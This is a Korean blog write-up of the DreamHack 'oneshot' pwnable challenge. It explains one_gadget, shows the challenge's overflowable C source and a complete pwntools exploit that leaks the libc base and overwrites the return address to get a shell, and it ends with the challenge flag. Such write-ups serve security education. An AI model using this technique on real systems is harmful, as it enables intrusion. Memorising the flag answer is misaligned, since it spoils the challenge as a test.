본문 바로가기

Pwnable

[DreamHack] oneshot Write-Up

 


Description


이 문제는 작동하고 있는 서비스(oneshot)의 바이너리와 소스코드가 주어집니다.프로그램의 취약점을 찾고 셸을 획득한 후, "flag" 파일을 읽으세요."flag" 파일의 내용을 워게임 사이트에 인증하면 점수를 획득할 수 있습니다.플래그의 형식은 DH{...} 입니다.

 

 

 

one_gadget은 Glibc 바이너리 내에서 쉘을 실행하는 특정 코드 시퀀스를 의미한다. 이 가젯을 통해 특정 조건이 충족되면 직접 쉘을 실행할 수 있다. one_gadget의 가장 큰 장점은 '단일 가젯으로 쉘을 획득할 수 있다'는 점이다.

 

 

 **one_gadget을 이용한 익스플로잇 단계

One_gadget 위치 찾기: one_gadget 도구(특정 Glibc 바이너리에서 이러한 가젯을 찾는 도구)를 사용하여 대상 프로그램에서 사용할 수 있는 가젯을 식별한다.
익스플로잇 작성: one_gadget의 주소로 반환 주소(RET)를 덮어쓰는 익스플로잇을 작성한다. 실행 시 one_gadget이 요구하는 조건을 충족하도록 한다.
 즉, RET을 one_gadget으로 덮을 수 있다면 단일 가젯으로 쉽게 쉘을 획득할 수 있다.

 

문제코드

// gcc -o oneshot1 oneshot1.c -fno-stack-protector -fPIC -pie

#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>

void alarm_handler() {
    puts("TIME OUT");
    exit(-1);
}

void initialize() {
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);
    signal(SIGALRM, alarm_handler);
    alarm(60);
}

int main(int argc, char *argv[]) {
    char msg[16];
    size_t check = 0;

    initialize();

    printf("stdout: %p\n", stdout);

    printf("MSG: ");
    read(0, msg, 46);

    if(check > 0) {
        exit(0);
    }

    printf("MSG: %s\n", msg);
    memset(msg, 0, sizeof(msg));
    return 0;
}

read 함수를 이용해서 버퍼 오버플로우를 시키고 one-shot gadget으로 RET를 덮어보자!

 

 

 

 

user@user-virtual-machine:~/HB_5week/oneshot$ one_gadget libc.so.6 
0x45216 execve("/bin/sh", rsp+0x30, environ)
constraints:
  rax == NULL

0x4526a execve("/bin/sh", rsp+0x30, environ)
constraints:
  [rsp+0x30] == NULL

0xf02a4 execve("/bin/sh", rsp+0x50, environ)
constraints:
  [rsp+0x50] == NULL

0xf1147 execve("/bin/sh", rsp+0x70, environ)
constraints:
  [rsp+0x70] == NULL

첫 번째 one gadget 0x45216을 이용해서 익스플로잇을 해보자.

 

from pwn import *

def slog(name, addr):
    return success(": ".join([name, hex(addr)]))


p = remote("host1.dreamhack.games", 21326)
e = ELF("./oneshot")
libc = ELF("./libc.so.6")
#context.log_level = 'debug'

one_gadget = 0x45216


# [1] Leak base
p.recvuntil("stdout: ")
stdout = int(p.recvline()[:-1], 16)
base = stdout - libc.symbols["_IO_2_1_stdout_"]
one_gadget = base + one_gadget

slog("STDOUT", stdout)
slog("base", base)
slog("one gadget", one_gadget)


# [2] Exploit
payload = b'A'*24
payload += b'\x00'*8
payload += b'B'*8
payload += p64(one_gadget)

p.sendafter("MSG: ", payload)
p.interactive()

DH{a6e74f669acffd69602b76c81c0516b2}